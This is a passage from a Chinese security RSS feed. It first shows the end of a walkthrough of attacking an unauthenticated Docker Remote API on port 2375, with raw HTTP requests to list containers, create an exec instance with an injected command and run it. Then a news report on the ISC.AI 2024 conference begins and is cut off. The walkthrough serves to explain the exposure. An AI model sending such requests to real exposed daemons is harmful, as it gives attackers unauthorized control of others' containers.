Safari/537.36<br/>Accept-Encoding: gzip, deflate, br<br/>Accept: */*<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;"><span style="display: none;"></span><span style="font-size: 18px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;">响应内容</span><span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/0wRpPfN90ibAyAdNM6ck4ngEXfksIMibD9w0gjoFtaibXmMhSDrudqPqu8ibZOaKuDyf57s9iacQrT7ylOjfHVRhjbvCjfmhPnlM5/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">HTTP/1.1 200 OK<br/>Api-Version: 1.12<br/>Docker-Experimental: false<br/>Ostype: linux<br/>Server: Docker/1.12 (linux)<br/>Date: Mon, 19 Aug 2024 08:21:25 GMT<br/>Connection: close<br/>Content-Type: application/json<br/>Content-Length: 1170<br/>[<br/>  {<br/>    &#34;Id&#34;: &#34;8dfafdbc3a40&#34;,<br/>    &#34;Image&#34;: &#34;ubuntu:latest&#34;,<br/>    &#34;ImageID&#34;: &#34;d74508fb6632491cea586a1fd7d748dfc5274cd6fdfedee309ecdcbc2bf5cb82&#34;,<br/>    &#34;Command&#34;: &#34;/bin/hello&#34;,<br/>    &#34;Created&#34;: 1720106340,<br/>    &#34;Ports&#34;: [{ &#34;PrivatePort&#34;: 2222, &#34;PublicPort&#34;: 3333, &#34;Type&#34;: &#34;tcp&#34; }],<br/>    &#34;SizeRw&#34;: 12288,<br/>    &#34;Labels&#34;: {<br/>      &#34;com.example.vendor&#34;: &#34;Acme&#34;,<br/>      &#34;com.example.license&#34;: &#34;GPL&#34;,<br/>      &#34;com.example.version&#34;: &#34;1.0&#34;<br/>    },<br/>    &#34;State&#34;: &#34;exited&#34;,<br/>    &#34;Status&#34;: &#34;Exit 0&#34;,<br/>    &#34;NetworkSettings&#34;: {<br/>      &#34;Networks&#34;: {<br/>        &#34;bridge&#34;: {<br/>          &#34;NetworkID&#34;: &#34;7ea29fc1412292a2d7bba362f9253545fecdfa8ce9a6e37dd10ba8bee7129812&#34;,<br/>          &#34;EndpointID&#34;: &#34;2cdc4edb1ded3631c81f57966563e5c8525b81121bb3706a9a9a3ae102711f3f&#34;,<br/>          &#34;Gateway&#34;: &#34;172.17.0.1&#34;,<br/>          &#34;IPAddress&#34;: &#34;172.17.0.2&#34;,<br/>          &#34;IPPrefixLen&#34;: 16,<br/>          &#34;IPv6Gateway&#34;: &#34;&#34;,<br/>          &#34;GlobalIPv6Address&#34;: &#34;&#34;,<br/>          &#34;MacAddress&#34;: &#34;02:42:ac:11:00:02&#34;<br/>        }<br/>      }<br/>    },<br/>    &#34;Mounts&#34;: [<br/>      {<br/>        &#34;Name&#34;: &#34;fac362...80535&#34;,<br/>        &#34;Source&#34;: &#34;/data&#34;,<br/>        &#34;Destination&#34;: &#34;/data&#34;,<br/>        &#34;Driver&#34;: &#34;local&#34;,<br/>        &#34;Mode&#34;: &#34;ro,Z&#34;,<br/>        &#34;Propagation&#34;: &#34;&#34;<br/>      }<br/>    ]<br/>  }<br/>]<br/></code></pre><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;"><strong style="color: rgb(37, 132, 181);background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">解析</strong>:<br/>通过这一步骤，攻击者可以获取 Docker 容器的详细信息，包括容器 ID、镜像名称、网络配置等。这些信息将为下一步的恶意操作提供目标。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="background-image: linear-gradient(45deg, transparent 48%, rgb(37, 132, 181) 48%, rgb(37, 132, 181) 52%, transparent 52%);align-items: unset;background-attachment: scroll;background-clip: border-box;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: 30px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-bottom: -11px;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: 30px;-webkit-box-reflect: unset;"></span><span style="color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 2px;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding: 2px 10px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">步骤二：创建执行ID</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;">攻击者接下来会发送 <code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">POST</code> 请求，通过 Docker API 创建一个新的执行环境（Exec Instance），并在 <code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Cmd</code> 参数中注入恶意命令（payload）。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;"><span style="display: none;"></span><span style="font-size: 18px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;">请求内容</span><span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/0wRpPfN90ibAyAdNM6ck4ngEXfksIMibD9w0gjoFtaibXmMhSDrudqPqu8ibZOaKuDyf57s9iacQrT7ylOjfHVRhjbvCjfmhPnlM5/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">POST /containers/8dfafdbc3a40/exec HTTP/1.1<br/>Host: XXXXXXX:2375<br/>Content-Type: application/json<br/>User-Agent: python-requests/2.28.2<br/>Accept-Encoding: gzip, deflate, br<br/>Accept: */*<br/>Content-Length: 63<br/>{ &#34;Cmd&#34;: [&#34;pwd&#34;], &#34;AttachStdout&#34;: true, &#34;AttachStderr&#34;: true }<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;"><span style="display: none;"></span><span style="font-size: 18px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;">响应内容</span><span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/0wRpPfN90ibAyAdNM6ck4ngEXfksIMibD9w0gjoFtaibXmMhSDrudqPqu8ibZOaKuDyf57s9iacQrT7ylOjfHVRhjbvCjfmhPnlM5/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">HTTP/1.1 201 Created<br/>Api-Version: 1.12<br/>Docker-Experimental: false<br/>Ostype: linux<br/>Server: Docker/1.12 (linux)<br/>Date: Mon, 19 Aug 2024 08:21:38 GMT<br/>Connection: close<br/>Content-Type: application/json<br/>Content-Length: 25<br/>{ &#34;Id&#34;: &#34;b90e34656806&#34; }<br/></code></pre><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;"><strong style="color: rgb(37, 132, 181);background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">解析</strong>:<br/>这一阶段，攻击者利用 Docker 提供的 API 功能，创建了一个可以执行特定命令的环境，并获取到了执行 ID。这个 ID 将在后续步骤中用于实际的命令执行。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="background-image: linear-gradient(45deg, transparent 48%, rgb(37, 132, 181) 48%, rgb(37, 132, 181) 52%, transparent 52%);align-items: unset;background-attachment: scroll;background-clip: border-box;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: inline-block;font-size: 22px;font-weight: bold;flex-direction: unset;float: unset;height: 30px;justify-content: unset;letter-spacing: 0px;line-height: 1.5em;margin-bottom: -11px;overflow: unset;text-indent: 0em;text-shadow: none;transform: none;width: 30px;-webkit-box-reflect: unset;"></span><span style="color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 2px;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding: 2px 10px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">步骤三：执行命令</span><span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;">最后，攻击者利用之前获取的执行 ID，发送 <code style="color: rgb(37, 132, 181);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;height: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">POST</code> 请求执行注入的命令。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;"><span style="display: none;"></span><span style="font-size: 18px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;">请求内容</span><span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/0wRpPfN90ibAyAdNM6ck4ngEXfksIMibD9w0gjoFtaibXmMhSDrudqPqu8ibZOaKuDyf57s9iacQrT7ylOjfHVRhjbvCjfmhPnlM5/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">POST /exec/b90e34656806/start HTTP/1.1<br/>Host: XXXXXXX:2375<br/>Accept: */*<br/>Content-Type: application/json<br/>User-Agent: python-requests/2.28.2<br/>Accept-Encoding: gzip, deflate, br<br/>Content-Length: 34<br/>{ &#34;Detach&#34;: false, &#34;Tty&#34;: false }<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;"><span style="display: none;"></span><span style="font-size: 18px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;">响应内容</span><span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/0wRpPfN90ibAyAdNM6ck4ngEXfksIMibD9w0gjoFtaibXmMhSDrudqPqu8ibZOaKuDyf57s9iacQrT7ylOjfHVRhjbvCjfmhPnlM5/640?wx_fmt=svg&amp;from=appmsg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;">HTTP/1.1 200 OK<br/>Api-Version: 1.12<br/>Docker-Experimental: false<br/>Ostype: linux<br/>Server: Docker/1.12 (linux)<br/>Date: Mon, 19 Aug 2024 08:21:40 GMT<br/>Connection: close<br/>Content-Type: application/octet-stream<br/>Content-Length: 19<br/>/home/root<br/></code></pre><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;"><strong style="color: rgb(37, 132, 181);background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">解析</strong>:<br/>通过执行命令，攻击者成功获取了 Docker 容器内部的文件系统信息，验证了其对目标容器的控制权。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-imgfileid="100000050" data-ratio="0.6267029972752044" style="display: block;margin-right: auto;margin-left: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="367" src="https://wechat2rss.xlab.app/img-proxy/?k=ff817fad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FDsBvLSPrhqYtgtAXADOAGSiazdcCdP3VzUImygN9ZvPr2rkzZu8PdemtOgnJUh0tyiae3rCWu41GQqrYxhujD83w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(37, 132, 181);border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(37, 132, 181);line-height: 1.5em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none none solid;border-width: 1px 1px 4px;border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;overflow: unset;padding-top: 2px;padding-right: 4px;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">攻击流程概述</span><span style="display: none;"></span></h2><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;"><strong style="color: rgb(37, 132, 181);background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">信息收集</strong>: 通过 <code style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">GET /containers/json</code> 请求，攻击者首先获取 Docker 容器的详细信息，为后续攻击做好准备。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;"><strong style="color: rgb(37, 132, 181);background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">创建执行环境</strong>: 使用 <code style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">POST /containers/{container_id}/exec</code> 请求，攻击者创建了一个可以执行命令的环境，并获取了执行 ID。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 1.8em;letter-spacing: 0em;"><strong style="color: rgb(37, 132, 181);background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">执行命令</strong>: 通过 <code style="background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(27, 31, 35, 0.05);width: auto;margin-left: 2px;margin-right: 2px;padding: 2px 4px;border-style: none;border-width: 3px;border-color: rgb(0, 0, 0) rgba(0, 0, 0, 0.4) rgba(0, 0, 0, 0.4);border-radius: 4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">POST /exec/{exec_id}/start</code> 请求，攻击者在目标容器内执行了恶意命令，进一步掌控了容器。</section></li></ol><p data-tool="mdnice编辑器" style="line-height: 1.8em;letter-spacing: 0em;text-indent: 0em;padding-top: 8px;padding-bottom: 8px;">此类攻击利用了 Docker Daemon 开放的 TCP 端口，该端口默认情况下不要求认证，极容易被攻击者利用。</p></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485581">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1cc828dd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485581%26idx%3D1%26sn%3De959ea88ccd08d31e1ba0462ab775d4e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 20 Aug 2024 19:31:00 +0800</pubDate>
    </item>
    <item>
      <title>ISC.AI 2024在京开幕：院士专家共议“安全+AI”发展新路径</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485578&amp;idx=1&amp;sn=f31b25d370fd4ef22d1a41421941fad6</link>
      <description>第十二届互联网安全大会（ISC.AI 2024）在北京国家会议中心盛大开幕，欢迎各位师傅参加~</description>
      <content:encoded><![CDATA[<p>
<span>ISC平台</span> <span>2024-08-01 14:31</span> <span style="display: inline-block;">广东</span>
</p>

<p>第十二届互联网安全大会（ISC.AI 2024）在北京国家会议中心盛大开幕，欢迎各位师傅参加~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=affb2f4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbdolhY2FIPb46nGpY6licJRPo83YIf438Jr2M8VCHBG8v0ibVwx8JQY1RK3xZJPicYmFYnfWx89vFV9w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor"><section style="font-size: 16px;" data-mpa-powered-by="yiban.io"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100001927" data-ratio="0.9904761904761905" data-s="300,640" style="width: 490px;height: 485px;" data-type="jpeg" data-w="840" src="https://wechat2rss.xlab.app/img-proxy/?k=61f9f7c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbdolhY2FIPb46nGpY6licJRP1zhBpDKYZpkK5iaanTrTDHtiacwqWQH5P6RuZmOWltrLnYD29OaMiaDaw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><section style="padding-right: 10px;padding-left: 10px;"><p style="text-wrap: wrap;"><br/></p><p style="text-align: center;"><strong>在ISC<span style="font-size: 16px;letter-spacing: 0.578px;text-wrap: wrap;">.AI</span> 2024互联网安全大会现场</strong></p><p style="text-align: center;"><strong>渊龙Sec安全团队 出现在国家会议中心🥳</strong></p><p style="text-align: center;"><strong>感谢一路上支持和认可我们的师傅！！！</strong></p><p style="text-align: center;"><strong>路漫漫其修远兮，吾将上下而求索🙏🙏🙏</strong></p><p><br/></p><p style="text-wrap: wrap;">7月31日，第十二届互联网安全大会（ISC.AI 2024）在北京国家会议中心盛大开幕。大会由中国互联网协会、中国人工智能学会、中国软件行业协会、360互联网安全中心主办，中国计算机学会计算机安全专业委员会、中国人工智能学会人工智能与安全专业委员会、中国网络空间安全协会人工智能安全治理专业委员会、中关村数智人工智能产业联盟、北京信息化和工业化融合服务联盟、大模型产业联盟承办，ISC平台、红客社区(安全KER社区)、360智脑大模型支持。</p></section><section style="line-height: 0;margin-top: 15px;margin-bottom: 15px;text-align: center;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 95%;height: auto;"><img class="rich_pages wxw-img" data-imgfileid="100001914" data-ratio="0.4683377308707124" data-s="300,640" width="100%" data-type="png" data-w="758" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a999368b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjIuM1GS57xkEbDc1NrZkqbRQhMw24INyK9NRx9QKbYJ5ddfHicR6wDOrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section><section style="padding-right: 10px;padding-left: 10px;"><p style="text-wrap: wrap;">随着人工智能等前沿科技的飞速发展，一个崭新的时代拉开序幕，安全与人工智能的融合成为驱动产业发展的关键动力。在此背景下，历经十二载春秋的ISC大会正式升级为ISC.AI 2024，本届大会以“打造安全大模型，引领安全行业革命”为主题，旨在呼吁业界利用大模型重塑安全体系，护航数字经济稳健发展。</p></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 30px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgb(109, 155, 249) 16%, rgb(177, 207, 250) 88%);min-width: 5%;height: auto;padding: 1px 14px;border-style: solid;border-width: 5px;border-color: rgba(132, 171, 252, 0.5);box-shadow: rgba(39, 106, 246, 0.17) 5px 5px 0px 0px;"><section style="color: rgb(250, 254, 255);font-size: 17px;"><p><strong>构建“安全+AI”创新生态</strong></p><p><strong>加速千行百业转型升级</strong></p></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: justify;"><p style="text-wrap: wrap;">网络安全高质量发展，离不开强大的人才支撑、领先的技术优势和完备的产业体系。<strong>中央网络安全和信息化委员会办公室副主任、国家互联网信息办公室副主任王京涛</strong>在致辞中表示，要强化协调联动，构建纵深布防的国家网络安全防护体系，突出重点防护，不断提升关键信息基础设施的安全韧性。同时要夯实工作基础，加快构建教育、技术、产业融合发展的良性形态。</p></section></section><section style="line-height: 0;margin-top: 20px;"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100001915" data-ratio="0.6672051696284329" data-s="300,640" width="100%" data-type="png" data-w="619" style="vertical-align: middle;width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ceb1d84c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Ff4CbNfICAmX2gBUos7FibwZibuibGJnPAjI1a6KicIc4UBibBV4DjteMyo9NJsvRib9drPxVQyUAeY3PPJQmYQrRCcWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section></section></section></section><section style="transform-style: flat;transform: perspective(0px);"><section style="margin-bottom: -6px;transform: translate3d(6px, 0px, 0px) rotateX(180deg) rotateY(180deg);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 20px;margin-bottom: 20px;"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 1px;border-color: rgba(134, 159, 231, 0.36);height: auto;margin-right: 5px;margin-left: 5px;"><section style="margin-top: -6px;transform: translate3d(-6px, 0px, 0px);"><section style="display: inline-block;width: 38px;height: 17px;vertical-align: top;overflow: hidden;border-style: solid;border-width: 2px 0px 0px 2px;border-color: rgba(134, 159, 231, 0.36) rgb(109, 181, 236) rgb(109, 181, 236) rgba(134, 159, 231, 0.36);"><section style="text-align: justify;"><p style="text-wrap: wrap;"><br/></p></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row;"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 8px 17px;"><section style="text-align: center;"><section style="text-align: 